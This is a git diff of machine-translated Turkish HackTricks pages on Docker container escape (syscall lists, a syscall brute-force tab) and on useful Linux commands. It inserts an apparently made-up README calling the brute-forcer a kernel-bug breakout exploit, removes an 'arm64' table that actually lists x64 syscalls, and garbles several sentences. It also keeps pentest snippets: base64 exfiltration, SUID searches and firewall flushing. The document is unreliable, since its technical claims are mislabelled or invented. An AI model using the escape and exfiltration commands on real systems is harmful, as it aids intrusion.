+* **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır).
+* **Yetenekler:** Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
+* **Syscall'ler:** Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle çağrılamayanlar). Kaçmaya çalışmak için diğer syscall'ler kullanılabilir.
{% tabs %}
-{% tab title="x64 sistem çağrıları" %}
+{% tab title="x64 syscall'ler" %}
```yaml
0x067 -- syslog
0x070 -- setsid
@@ -543,403 +538,9 @@ Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [h
0x140 -- kexec_file_load
0x141 -- bpf
```
-{% tab title="arm64 syscalls" %}
-
-Bu bölümde, arm64 mimarisinde kullanılan bazı önemli sistem çağrılarını bulacaksınız. Bu sistem çağrıları, arm64 tabanlı bir sistemdeki işletim sistemi işlevlerine doğrudan erişim sağlar.
-
-| Sistem Çağrısı Numarası | Sistem Çağrısı Adı |
-| ---------------------- | ----------------- |
-| 0 | read |
-| 1 | write |
-| 2 | open |
-| 3 | close |
-| 4 | stat |
-| 5 | fstat |
-| 6 | lstat |
-| 7 | poll |
-| 8 | lseek |
-| 9 | mmap |
-| 10 | mprotect |
-| 11 | munmap |
-| 12 | brk |
-| 13 | rt_sigaction |
-| 14 | rt_sigprocmask |
-| 15 | rt_sigreturn |
-| 16 | ioctl |
-| 17 | pread64 |
-| 18 | pwrite64 |
-| 19 | readv |
-| 20 | writev |
-| 21 | access |
-| 22 | pipe |
-| 23 | select |
-| 24 | sched_yield |
-| 25 | mremap |
-| 26 | msync |
-| 27 | mincore |
-| 28 | madvise |
-| 29 | shmget |
-| 30 | shmat |
-| 31 | shmctl |
-| 32 | dup |
-| 33 | dup2 |
-| 34 | pause |
-| 35 | nanosleep |
-| 36 | getitimer |
-| 37 | alarm |
-| 38 | setitimer |
-| 39 | getpid |
-| 40 | sendfile |
-| 41 | socket |
-| 42 | connect |
-| 43 | accept |
-| 44 | sendto |
-| 45 | recvfrom |
-| 46 | sendmsg |
-| 47 | recvmsg |
-| 48 | shutdown |
-| 49 | bind |
-| 50 | listen |
-| 51 | getsockname |
-| 52 | getpeername |
-| 53 | socketpair |
-| 54 | setsockopt |
-| 55 | getsockopt |
-| 56 | clone |
-| 57 | fork |
-| 58 | vfork |
-| 59 | execve |
-| 60 | exit |
-| 61 | wait4 |
-| 62 | kill |
-| 63 | uname |
-| 64 | semget |
-| 65 | semop |
-| 66 | semctl |
-| 67 | shmdt |
-| 68 | msgget |
-| 69 | msgsnd |
-| 70 | msgrcv |
-| 71 | msgctl |
-| 72 | fcntl |
-| 73 | flock |
-| 74 | fsync |
-| 75 | fdatasync |
-| 76 | truncate |
-| 77 | ftruncate |
-| 78 | getdents |
-| 79 | getcwd |
-| 80 | chdir |
-| 81 | fchdir |
-| 82 | rename |
-| 83 | mkdir |
-| 84 | rmdir |
-| 85 | creat |
-| 86 | link |
-| 87 | unlink |
-| 88 | symlink |
-| 89 | readlink |
-| 90 | chmod |
-| 91 | fchmod |
-| 92 | chown |
-| 93 | fchown |
-| 94 | lchown |
-| 95 | umask |
-| 96 | gettimeofday |
-| 97 | getrlimit |
-| 98 | getrusage |
-| 99 | sysinfo |
-| 100 | times |
-| 101 | ptrace |
-| 102 | getuid |
-| 103 | syslog |
-| 104 | getgid |
-| 105 | setuid |
-| 106 | setgid |
-| 107 | geteuid |
-| 108 | getegid |
-| 109 | setpgid |
-| 110 | getppid |
-| 111 | getpgrp |
-| 112 | setsid |
-| 113 | setreuid |
-| 114 | setregid |
-| 115 | getgroups |
-| 116 | setgroups |
-| 117 | setresuid |
-| 118 | getresuid |
-| 119 | setresgid |
-| 120 | getresgid |
-| 121 | getpgid |
-| 122 | setfsuid |
-| 123 | setfsgid |
-| 124 | getsid |
-| 125 | capget |
-| 126 | capset |
-| 127 | rt_sigpending |
-| 128 | rt_sigtimedwait |
-| 129 | rt_sigqueueinfo |
-| 130 | rt_sigsuspend |
-| 131 | sigaltstack |
-| 132 | utime |
-| 133 | mknod |
-| 134 | uselib |
-| 135 | personality |
-| 136 | ustat |
-| 137 | statfs |
-| 138 | fstatfs |
-| 139 | sysfs |
-| 140 | getpriority |
-| 141 | setpriority |
-| 142 | sched_setparam |
-| 143 | sched_getparam |
-| 144 | sched_setscheduler |
-| 145 | sched_getscheduler |
-| 146 | sched_get_priority_max |
-| 147 | sched_get_priority_min |
-| 148 | sched_rr_get_interval |
-| 149 | mlock |
-| 150 | munlock |
-| 151 | mlockall |
-| 152 | munlockall |
-| 153 | vhangup |
-| 154 | modify_ldt |
-| 155 | pivot_root |
-| 156 | _sysctl |
-| 157 | prctl |
-| 158 | arch_prctl |
-| 159 | adjtimex |
-| 160 | setrlimit |
-| 161 | chroot |
-| 162 | sync |
-| 163 | acct |
-| 164 | settimeofday |
-| 165 | mount |
-| 166 | umount2 |
-| 167 | swapon |
-| 168 | swapoff |
-| 169 | reboot |
-| 170 | sethostname |
-| 171 | setdomainname |
-| 172 | iopl |
-| 173 | ioperm |
-| 174 | create_module |
-| 175 | init_module |
-| 176 | delete_module |
-| 177 | get_kernel_syms |
-| 178 | query_module |
-| 179 | quotactl |
-| 180 | nfsservctl |
-| 181 | getpmsg |
-| 182 | putpmsg |
-| 183 | afs_syscall |
-| 184 | tuxcall |
-| 185 | security |
-| 186 | gettid |
-| 187 | readahead |
-| 188 | setxattr |
-| 189 | lsetxattr |
-| 190 | fsetxattr |
-| 191 | getxattr |
-| 192 | lgetxattr |
-| 193 | fgetxattr |
-| 194 | listxattr |
-| 195 | llistxattr |
-| 196 | flistxattr |
-| 197 | removexattr |
-| 198 | lremovexattr |
-| 199 | fremovexattr |
-| 200 | tkill |
-| 201 | time |
-| 202 | futex |
-| 203 | sched_setaffinity |
-| 204 | sched_getaffinity |
-| 205 | set_thread_area |
-| 206 | io_setup |
-| 207 | io_destroy |
-| 208 | io_getevents |
-| 209 | io_submit |
-| 210 | io_cancel |
-| 211 | get_thread_area |
-| 212 | lookup_dcookie |
-| 213 | epoll_create |
-| 214 | epoll_ctl_old |
-| 215 | epoll_wait_old |
-| 216 | remap_file_pages |
-| 217 | getdents64 |
-| 218 | set_tid_address |
-| 219 | restart_syscall |
-| 220 | semtimedop |
-| 221 | fadvise64 |
-| 222 | timer_create |
-| 223 | timer_settime |
-| 224 | timer_gettime |
-| 225 | timer_getoverrun |
-| 226 | timer_delete |
-| 227 | clock_settime |
-| 228 | clock_gettime |
-| 229 | clock_getres |
-| 230 | clock_nanosleep |
-| 231 | exit_group |
-| 232 | epoll_wait |
-| 233 | epoll_ctl |
-| 234 | tgkill |
-| 235 | utimes |
-| 236 | vserver |
-| 237 | mbind |
-| 238 | set_mempolicy |
-| 239 | get_mempolicy |
-| 240 | mq_open |
-| 241 | mq_unlink |
-| 242 | mq_timedsend |
-| 243 | mq_timedreceive |
-| 244 | mq_notify |
-| 245 | mq_getsetattr |
-| 246 | kexec_load |
-| 247 | waitid |
-| 248 | add_key |
-| 249 | request_key |
-| 250 | keyctl |
-| 251 | ioprio_set |
-| 252 | ioprio_get |
-| 253 | inotify_init |
-| 254 | inotify_add_watch |
-| 255 | inotify_rm_watch |
-| 256 | migrate_pages |
-| 257 | openat |
-| 258 | mkdirat |
-| 259 | mknodat |
-| 260 | fchownat |
-| 261 | futimesat |
-| 262 | newfstatat |
-| 263 | unlinkat |
-| 264 | renameat |
-| 265 | linkat |
-| 266 | symlinkat |
-| 267 | readlinkat |
-| 268 | fchmodat |
-| 269 | faccessat |
-| 270 | pselect6 |
-| 271 | ppoll |
-| 272 | unshare |
-| 273 | set_robust_list |
-| 274 | get_robust_list |
-| 275 | splice |
-| 276 | tee |
-| 277 | sync_file_range |
-| 278 | vmsplice |
-| 279 | move_pages |
-| 280 | utimensat |
-| 281 | epoll_pwait |
-| 282 | signalfd |
-| 283 | timerfd_create |
-| 284 | eventfd |
-| 285 | fallocate |
-| 286 | timerfd_settime |
-| 287 | timerfd_gettime |
-| 288 | accept4 |
-| 289 | signalfd4 |
-| 290 | eventfd2 |
-| 291 | epoll_create1 |
-| 292 | dup3 |
-| 293 | pipe2 |
-| 294 | inotify_init1 |
-| 295 | preadv |
-| 296 | pwritev |
-| 297 | rt_tgsigqueueinfo |
-| 298 | perf_event_open |
-| 299 | recvmmsg |
-| 300 | fanotify_init |
-| 301 | fanotify_mark |
-| 302 | prlimit64 |
-| 303 | name_to_handle_at |
-| 304 | open_by_handle_at |
-| 305 | clock_adjtime |
-| 306 | syncfs |
-| 307 | sendmmsg |
-| 308 | setns |
-| 309 | getcpu |
-| 310 | process_vm_readv |
-| 311 | process_vm_writev |
-| 312 | kcmp |
-| 313 | finit_module |
-| 314 | sched_setattr |
-| 315 | sched_getattr |
-| 316 | renameat2 |
-| 317 | seccomp |
-| 318 | getrandom |
-| 319 | memfd_create |
-| 320 | kexec_file_load |
-| 321 | bpf |
-| 322 | execveat |
-| 323 | userfaultfd |
-| 324 | membarrier |
-| 325 | mlock2 |
-| 326 | copy_file_range |
-| 327 | preadv2 |
-| 328 | pwritev2 |
-| 329 | pkey_mprotect |
-| 330 | pkey_alloc |
-| 331 | pkey_free |
-| 332 | statx |
-| 333 | io_pgetevents |
-| 334 | rseq |
-| 424 | pidfd_send_signal |
-| 425 | io_uring_setup |
-| 426 | io_uring_enter |
-| 427 | io_uring_register |
-| 428 | open_tree |
-| 429 | move_mount |
-| 430 | fsopen |
-| 431 | fsconfig |
-| 432 | fsmount |
-| 433 | fspick |
-| 434 | pidfd_open |
-| 435 | clone3 |
-| 436 | close_range |
-| 437 | openat2 |
-| 438 | pidfd_getfd |
-| 439 | faccessat2 |
-| 440 | process_madvise |
-| 512 | rt_sigaction |
-| 513 | rt_sigreturn |
-| 514 | ioctl |
-| 515 | readv |
-| 516 | writev |
-| 517 | recvfrom |
-| 518 | sendmsg |
-| 519 | recvmsg |
-| 520 | execveat |
-| 521 | membarrier |
-| 522 | userfaultfd |
-| 523 | copy_file_range |
-| 524 | preadv2 |
-| 525 | pwritev2 |
-| 526 | pkey_mprotect |
-| 527 | pkey_alloc |
-| 528 | pkey_free |
-| 529 | statx |
-| 530 | io_pgetevents |
-| 531 | rseq |
-| 532 | pidfd_send_signal |
-| 533 | io_uring_setup |
-| 534 | io_uring_enter |
-| 535 | io_uring_register |
-| 536 | open_tree |
-| 537 | move_mount |
-| 538 | fsopen |
-| 539 | fsconfig |
-| 540 | fsmount |
-| 541 | fspick |
-| 542 | pidfd_open |
-| 543 | clone3 |
-| 544 | close_range |
-| 545 | openat2 |
-| 546 | pidfd_getfd |
-| 547 | faccessat2 |
-| 548 | process_madvise |
-
{% endtab %}
+
+{% tab title="arm64 sistem çağrıları" %}
```
0x029 -- pivot_root
0x059 -- acct
@@ -957,7 +558,30 @@ Bu bölümde, arm64 mimarisinde kullanılan bazı önemli sistem çağrıların
0x111 -- finit_module
0x118 -- bpf
```
-{% tab title="syscall_bf.c" %}
+{% endtab %}
+
+{% tab title="syscall_bf.c" %}Docker Breakout Privilege Escalation
+===============================
+
+This directory contains a Docker breakout privilege escalation exploit. The exploit leverages a bug in the Linux kernel to escalate privileges from a Docker container to the host.
+
+### Usage
+
+Compile the exploit using `gcc`:
+
+```bash
+gcc -o syscall_bf syscall_bf.c
+```
+
+Run the exploit:
+
+```bash
+./syscall_bf
+```
+
+### Disclaimer
+
+This exploit is for educational purposes only. Misuse of this exploit on systems without authorization is illegal.
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@@ -1021,7 +645,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
-
+
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
@@ -1037,7 +661,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md
index 398463a27..6728afd79 100644
--- a/linux-hardening/useful-linux-commands/README.md
+++ b/linux-hardening/useful-linux-commands/README.md
@@ -1,28 +1,28 @@
# Faydalı Linux Komutları
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
-Bugün Erişim Alın:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
+Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
-## Ortak Bash Komutları
+## Ortak Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@@ -141,11 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
-Bugün Erişim Alın:
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
+Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -171,21 +171,20 @@ i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
-`grep` komutu, metin dosyalarında belirli bir deseni aramak için kullanılan güçlü bir arama aracıdır. Aşağıda, `grep` komutunun bazı yaygın kullanımlarını bulabilirsiniz:
+### Açıklama
+`grep` komutu, metin dosyalarında belirli bir metni aramak için kullanılır.
-- **Basit Arama**: `grep 'desen' dosya` komutu, belirli bir deseni içeren satırları bulmak için kullanılır. Örneğin, `grep 'hello' file.txt` komutu, `file.txt` dosyasında "hello" kelimesini içeren satırları bulur.
+### Kullanım
+```bash
+grep "aranacak_metin" dosya_adı
+```
-- **Bütün Kelime Araması**: `grep -w 'kelime' dosya` komutu, belirli bir kelimenin tam olarak eşleştiği satırları bulmak için kullanılır. Örneğin, `grep -w 'hello' file.txt` komutu, `file.txt` dosyasında sadece "hello" kelimesini içeren satırları bulur.
+### Örnek
+```bash
+grep "root" /etc/passwd
+```
-- **Büyük/Küçük Harf Duyarlılığı**: `grep -i 'desen' dosya` komutu, arama işlemini büyük/küçük harf duyarlılığı olmadan gerçekleştirir. Örneğin, `grep -i 'hello' file.txt` komutu, `file.txt` dosyasında "hello", "Hello" veya "HELLO" gibi farklı büyük/küçük harf kombinasyonlarını içeren satırları bulur.
-
-- **Satır Numaralarını Gösterme**: `grep -n 'desen' dosya` komutu, eşleşen satırların yanında satır numaralarını da gösterir. Örneğin, `grep -n 'hello' file.txt` komutu, `file.txt` dosyasında "hello" kelimesini içeren satırları ve bu satırların numaralarını bulur.
-
-- **Birden Fazla Dosyada Arama**: `grep 'desen' dosya1 dosya2` komutu, birden fazla dosyada aynı deseni aramak için kullanılır. Örneğin, `grep 'hello' file1.txt file2.txt` komutu, `file1.txt` ve `file2.txt` dosyalarında "hello" kelimesini içeren satırları bulur.
-
-- **Dizinlerde Arama**: `grep -r 'desen' dizin` komutu, belirli bir deseni içeren tüm dosyaları ve alt dizinleri arar. Örneğin, `grep -r 'hello' /home/user` komutu, `/home/user` dizininde "hello" kelimesini içeren tüm dosyaları ve alt dizinlerini bulur.
-
-Bu sadece `grep` komutunun bazı temel kullanımlarıdır. Daha fazla seçenek ve kullanım için `grep` komutunun man sayfasını (`man grep`) inceleyebilirsiniz.
+Bu komut, `/etc/passwd` dosyasında "root" kelimesini arar ve eşleşen satırları görüntüler.
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@@ -267,46 +266,32 @@ egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13
```
## Bul
-### Description
-This command is used to search for files or directories in a specified location.
+### `find`
-### Syntax
-```
-find [path] [options] [expression]
+`find` komutu, dosya sisteminizde dosya ve dizinleri aramanıza ve belirli kriterlere göre filtrelemenize olanak tanır.
+
+#### Kullanım
+
+```bash
+find /path/to/search -name "filename"
```
-### Options
-- `-name`: Searches for files or directories with a specific name.
-- `-type`: Searches for files or directories of a specific type.
-- `-size`: Searches for files of a specific size.
-- `-user`: Searches for files or directories owned by a specific user.
-- `-group`: Searches for files or directories owned by a specific group.
-- `-mtime`: Searches for files or directories modified within a specific time frame.
-- `-exec`: Executes a command on each file or directory found.
+- `/path/to/search`: Arama yapılacak dizinin yolu
+- `-name "filename"`: Aranacak dosya adı
-### Examples
-1. Search for a file named "passwords.txt" in the current directory:
-```
-find . -name passwords.txt
+#### Örnekler
+
+1. `/etc` dizininde `passwd` dosyasını bulma:
+
+```bash
+find /etc -name "passwd"
```
-2. Search for all directories in the "/var/www" directory:
-```
-find /var/www -type d
-```
+2. `/home` dizininde `.txt` uzantılı dosyaları bulma:
-3. Search for files larger than 1MB in the "/home" directory:
+```bash
+find /home -name "*.txt"
```
-find /home -type f -size +1M
-```
-
-4. Search for files modified within the last 7 days in the "/tmp" directory and delete them:
-```
-find /tmp -type f -mtime -7 -exec rm {} \;
-```
-
-### Additional Resources
-- [Linux find command](https://linux.die.net/man/1/find)
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@@ -336,20 +321,6 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap arama yardımı
-
-Nmap, ağ tarama ve keşif aracıdır. Aşağıda, Nmap'in bazı yaygın kullanılan komutlarını ve parametrelerini bulabilirsiniz:
-
-- `-sn`: Canlı cihazları tespit etmek için ICMP ping taraması yapar.
-- `-sS`: TCP SYN taraması yapar.
-- `-sU`: UDP taraması yapar.
-- `-p`: Belirli bir port veya port aralığını taramak için kullanılır.
-- `-O`: Hedef cihazın işletim sistemini tahmin etmek için kullanılır.
-- `-A`: İşletim sistemi tahmini, port taraması, hizmet tespiti ve betik taraması gibi bir dizi tarama işlemi gerçekleştirir.
-- `-v`: Ayrıntılı çıktı sağlar.
-- `-oN`: Çıktıyı normal metin dosyasına kaydeder.
-- `-oX`: Çıktıyı XML formatında kaydeder.
-
-Nmap hakkında daha fazla bilgi için, Nmap'in resmi belgelerine başvurabilirsiniz.
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
@@ -358,86 +329,16 @@ nmap --script-help "(default or version) and smb)"
```
## Bash
-Bash, kısaltması "Bourne Again Shell" olan bir Unix kabuk programıdır. Bash, Linux ve diğer Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan bir kabuktur. Bash, kullanıcıların komutları çalıştırmasına, betikler yazmasına ve sistemle etkileşimde bulunmasına olanak tanır.
-
-### Temel Komutlar
-
-- `ls`: Mevcut dizindeki dosya ve dizinleri listeler.
-- `cd`: Dizin değiştirir.
-- `pwd`: Mevcut çalışma dizinini gösterir.
-- `mkdir`: Yeni bir dizin oluşturur.
-- `rm`: Dosya veya dizinleri siler.
-- `cp`: Dosyaları veya dizinleri kopyalar.
-- `mv`: Dosyaları veya dizinleri taşır veya yeniden adlandırır.
-- `cat`: Dosyanın içeriğini görüntüler veya dosyaları birleştirir.
-- `grep`: Belirli bir metni dosyalarda veya çıktılarda arar.
-- `chmod`: Dosya veya dizinlerin izinlerini değiştirir.
-- `chown`: Dosya veya dizinlerin sahiplerini değiştirir.
-- `chgrp`: Dosya veya dizinlerin gruplarını değiştirir.
-- `sudo`: Root (süper kullanıcı) olarak komutları çalıştırır.
-- `su`: Kullanıcı hesabını değiştirir.
-
-### Dosya İşlemleri
-
-- `touch`: Yeni bir dosya oluşturur veya mevcut bir dosyanın zaman damgasını günceller.
-- `cat`: Dosyanın içeriğini görüntüler veya dosyaları birleştirir.
-- `head`: Dosyanın başlangıcını görüntüler.
-- `tail`: Dosyanın sonunu görüntüler.
-- `less`: Dosyanın içeriğini sayfa sayfa görüntüler.
-- `wc`: Dosyanın satır, kelime ve karakter sayısını verir.
-- `sort`: Dosyanın satırlarını sıralar.
-- `uniq`: Dosyanın ardışık tekrarlanan satırlarını kaldırır.
-- `cut`: Dosyanın belirli bir bölümünü keser.
-- `paste`: Dosyaları birleştirir.
-- `diff`: İki dosya arasındaki farkları gösterir.
-
-### Ağ İşlemleri
-
-- `ping`: Bir IP adresine veya alan adına ping atar.
-- `ifconfig`: Ağ arayüzlerinin yapılandırmasını görüntüler veya değiştirir.
-- `netstat`: Ağ bağlantılarını ve bağlantı noktalarını görüntüler.
-- `ssh`: Uzak bir sunucuya güvenli bir şekilde bağlanır.
-- `scp`: Dosyaları güvenli bir şekilde kopyalar.
-- `wget`: İnternet üzerinden dosyaları indirir.
-- `curl`: İnternet üzerindeki kaynaklara istek gönderir ve yanıtları alır.
-
-### Süreç İşlemleri
-
-- `ps`: Çalışan süreçleri listeler.
-- `top`: Sistemdeki süreçleri gerçek zamanlı olarak izler.
-- `kill`: Bir süreci sonlandırır.
-- `bg`: Bir süreci arka planda çalıştırır.
-- `fg`: Bir süreci ön plana alır.
-- `nohup`: Bir süreci bağlantıyı kapatmadan arka planda çalıştırır.
-
-### Diğer Kullanışlı Komutlar
-
-- `history`: Komut geçmişini görüntüler.
-- `alias`: Komutlara takma adlar verir.
-- `man`: Bir komutun kullanımını ve belgelerini görüntüler.
-- `which`: Bir komutun tam yolunu gösterir.
-- `find`: Dosya ve dizinleri arar.
-- `tar`: Dosyaları sıkıştırır veya açar.
-- `gzip`: Dosyaları sıkıştırır veya açar.
-- `sed`: Metin dönüşümleri yapar.
-- `awk`: Metin işleme ve raporlama yapar.
-
-Bu sadece birkaç temel Bash komutudur. Bash hakkında daha fazla bilgi edinmek için `man bash` komutunu kullanabilirsiniz.
+## Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
-Iptables, Linux işletim sistemlerinde kullanılan bir güvenlik duvarı aracıdır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve port tabanlı paket yönlendirme gibi işlevleri gerçekleştirebilir. Aşağıda, Iptables'in temel kullanımı için bazı komutlar bulunmaktadır:
+### İptables Hakkında
-- `iptables -L`: Mevcut kuralları ve zincirleri listeler.
-- `iptables -F`: Tüm kuralları ve zincirleri temizler.
-- `iptables -A -p --dport -j `: Belirli bir zincire yeni bir kural ekler. `` zincir adını, `` protokol türünü, `` hedef port numarasını ve `` ise kuralın ne yapacağını belirtir.
-- `iptables -D `: Belirli bir zincirden bir kuralı siler. `` zincir adını ve `` ise silinecek kuralın numarasını belirtir.
-- `iptables -P `: Belirli bir zincirin varsayılan politikasını ayarlar. `` zincir adını ve `` ise varsayılan politikayı belirtir.
-
-Daha fazla bilgi için, `man iptables` komutunu kullanabilirsiniz.
+İptables, Linux işletim sisteminde güvenlik duvarı kurallarını yapılandırmak için kullanılan bir araçtır. Bu araç, ağ trafiğini kontrol etmek ve yönlendirmek için kullanılır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve portu değiştirme gibi işlemleri gerçekleştirebilir. Güvenlik duvarı kurallarını yapılandırmak için genellikle komut satırı arayüzü kullanılır.
```bash
#Delete curent rules and chains
iptables --flush
@@ -470,22 +371,22 @@ iptables -P OUTPUT ACCEPT
```
-AWS hacklemeyi sıfırdan kahraman seviyesine öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
